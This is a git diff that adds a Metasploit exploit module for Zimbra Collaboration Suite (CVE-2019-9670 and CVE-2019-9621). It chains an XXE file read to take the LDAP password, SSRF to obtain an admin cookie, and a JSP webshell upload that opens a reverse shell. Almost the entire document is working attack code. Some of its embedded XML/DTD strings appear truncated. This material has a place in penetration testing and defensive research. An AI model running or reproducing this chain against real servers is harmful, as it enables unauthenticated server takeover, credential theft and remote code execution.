diff --git a/modules/exploits/linux/http/zimbra_xxe_rce.rb b/modules/exploits/linux/http/zimbra_xxe_rce.rb new file mode 100644 index 0000000000..7e1a9b3212 --- /dev/null +++ b/modules/exploits/linux/http/zimbra_xxe_rce.rb @@ -0,0 +1,248 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include REXML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Zimbra Collaboration Autodiscover', + 'Description' => %q{ + This module exploits an XML external entity vulnerability and a + server side request forgery to get unauthenticated code execution + on Zimbra Collaboration Suite. The XML external entity vulnerability + in the Autodiscover Servlet is used to read a Zimbra configuration + file that contains an ldap password for the 'zimbra' account. The + zimbra credentials are then used to get a user authentication cookie + with an AuthRequest message. Using the user cookie, a server side request + forgery in the Proxy Servlet is used to proxy an AuthRequest with + the 'zimbra' credentials to the admin port to retrieve an admin + cookie. After gaining an admin cookie the Client Upload servlet is + used to upload a jsp webshell that can be triggered from the web + server to get command execution on the host. The issues reportedly + affects Zimbra Collaboration Suite v8.5 to v8.7.11. + + This module was tested with Zimbra Release 8.7.1.GA.1670.UBUNTU16.64 + UBUNTU16_64 FOSS edition. + }, + 'Author' => + [ + 'An Trinh', # Discovery + 'Khanh Viet Pham', # Discovery + 'Jacob Robles' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2019-9670'], + ['CVE', '2019-9621'], + ['URL', 'https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html'] + ], + 'Platform' => ['linux'], + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'Automatic', { } ] + ], + 'DefaultOptions' => { + 'RPORT' => 8443, + 'SSL' => true, + 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' + }, + 'Stance' => Stance::Aggressive, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Mar 13 2019' # Blog post date + )) + + register_options [ + OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']), + OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10]) + ] + end + + def xxe_req(data) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, '/autodiscover'), + 'encode_params' => false, + 'data' => data + }) + fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503 + res + end + + def soap_discover(check_soap=false) + xml = Document.new + + xml.add_element('Autodiscover') + xml.root.add_element('Request') + + req = xml.root.elements[1] + + req.add_element('EMailAddress') + req.add_element('AcceptableResponseSchema') + + sub = 'REPLACE' + req.elements['EMailAddress'].text = Faker::Internet.email + req.elements['AcceptableResponseSchema'].text = sub + + doc = rand_text_alpha_lower(4..8) + entity = rand_text_alpha_lower(4..8) + local_file = '/etc/passwd' + + res = "" + if check_soap + local = "file://#{local_file}" + res << "]>" + res << "#{xml.to_s.sub(sub, "&#{entity};")}" + else + local = "http://#{srvhost_addr}:#{srvport}#{@service_path}" + res << "" + res << "%#{entity};]>" + res << "#{xml.to_s.sub(sub, "&#{@ent_data};")}" + end + res + end + + def soap_auth(zimbra_user, zimbra_pass, admin=true) + urn = admin ? 'urn:zimbraAdmin' : 'urn:zimbraAccount' + xml = Document.new + + xml.add_element( + 'soap:Envelope', + {'xmlns:soap' => 'http://www.w3.org/2003/05/soap-envelope'} + ) + + xml.root.add_element('soap:Body') + body = xml.root.elements[1] + body.add_element( + 'AuthRequest', + {'xmlns' => urn} + ) + + zimbra_acc = body.elements[1] + zimbra_acc.add_element( + 'account', + {'by' => 'adminName'} + ) + zimbra_acc.add_element('password') + + zimbra_acc.elements['account'].text = "#{zimbra_user}" + zimbra_acc.elements['password'].text = "#{zimbra_pass}" + + xml.to_s + end + + def cookie_req(data) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, '/service/soap/'), + 'data' => data + }) + fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200 + res + end + + def proxy_req(data, auth_cookie) + target = "https://127.0.0.1:7071#{normalize_uri(target_uri, '/service/admin/soap/AuthRequest')}" + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, '/service/proxy/'), + 'vars_get' => {'target' => target}, + 'cookie' => "ZM_ADMIN_AUTH_TOKEN=#{auth_cookie}", + 'data' => data, + 'headers' => {'Host' => "#{datastore['RHOST']}:7071"} + }) + fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 200 + res + end + + def upload_file(file_name, contents, cookie) + data = Rex::MIME::Message.new + data.add_part(file_name, nil, nil, 'form-data; name="filename1"') + data.add_part(contents, 'application/octet-stream', nil, "form-data; name=\"clientFile\"; filename=\"#{file_name}\"") + data.add_part("#{rand_text_numeric(2..5)}", nil, nil, 'form-data; name="requestId"') + post_data = data.to_s + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, '/service/extension/clientUploader/upload'), + 'ctype' => 'multipart/form-data; boundary=' + data.bound, + 'data' => post_data, + 'cookie' => cookie + }) + end + + def check + res = xxe_req(soap_discover(true)) + if res.body =~ /zimbra/ + return CheckCode::Vulnerable + end + + CheckCode::Unknown + end + + def on_request_uri(cli, req) + ent_file = rand_text_alpha_lower(4..8) + ent_eval = rand_text_alpha_lower(4..8) + + dtd = <<~HERE + + '>"> + %#{ent_eval}; + HERE + send_response(cli, dtd) + end + + def primer + datastore['SSL'] = @ssl + res = xxe_req(soap_discover) + fail_with(Failure::UnexpectedReply, 'Password not found') unless res.body =~ /ldap_password.*?value>(.*?)<\/value/m + password = $1 + username = 'zimbra' + + print_good("Password found: #{password}") + + data = soap_auth(username, password, false) + res = cookie_req(data) + + fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /ZM_AUTH_TOKEN=([^;]+;)/ + auth_cookie = $1 + + print_good("User cookie retrieved: ZM_AUTH_TOKEN=#{auth_cookie}") + + data = soap_auth(username, password) + res = proxy_req(data, auth_cookie) + + fail_with(Failure::NoAccess, 'Failed to authenticate') unless res.get_cookies =~ /(ZM_ADMIN_AUTH_TOKEN=[^;]+;)/ + admin_cookie = $1 + + print_good("Admin cookie retrieved: #{admin_cookie}") + + stager_name = "#{rand_text_alpha(8..16)}.jsp" + print_status('Uploading jsp shell') + res = upload_file(stager_name, payload.generate, admin_cookie) + + fail_with(Failure::Unknown, "#{peer} - Unable to upload stager") unless res && res.code == 200 + + print_status("Executing payload on /downloads/#{stager_name}") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri, "/downloads/#{stager_name}"), + 'cookie' => admin_cookie + }) + end + + def exploit + @ent_data = rand_text_alpha_lower(4..8) + @ssl = datastore['SSL'] + datastore['SSL'] = false + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + end +end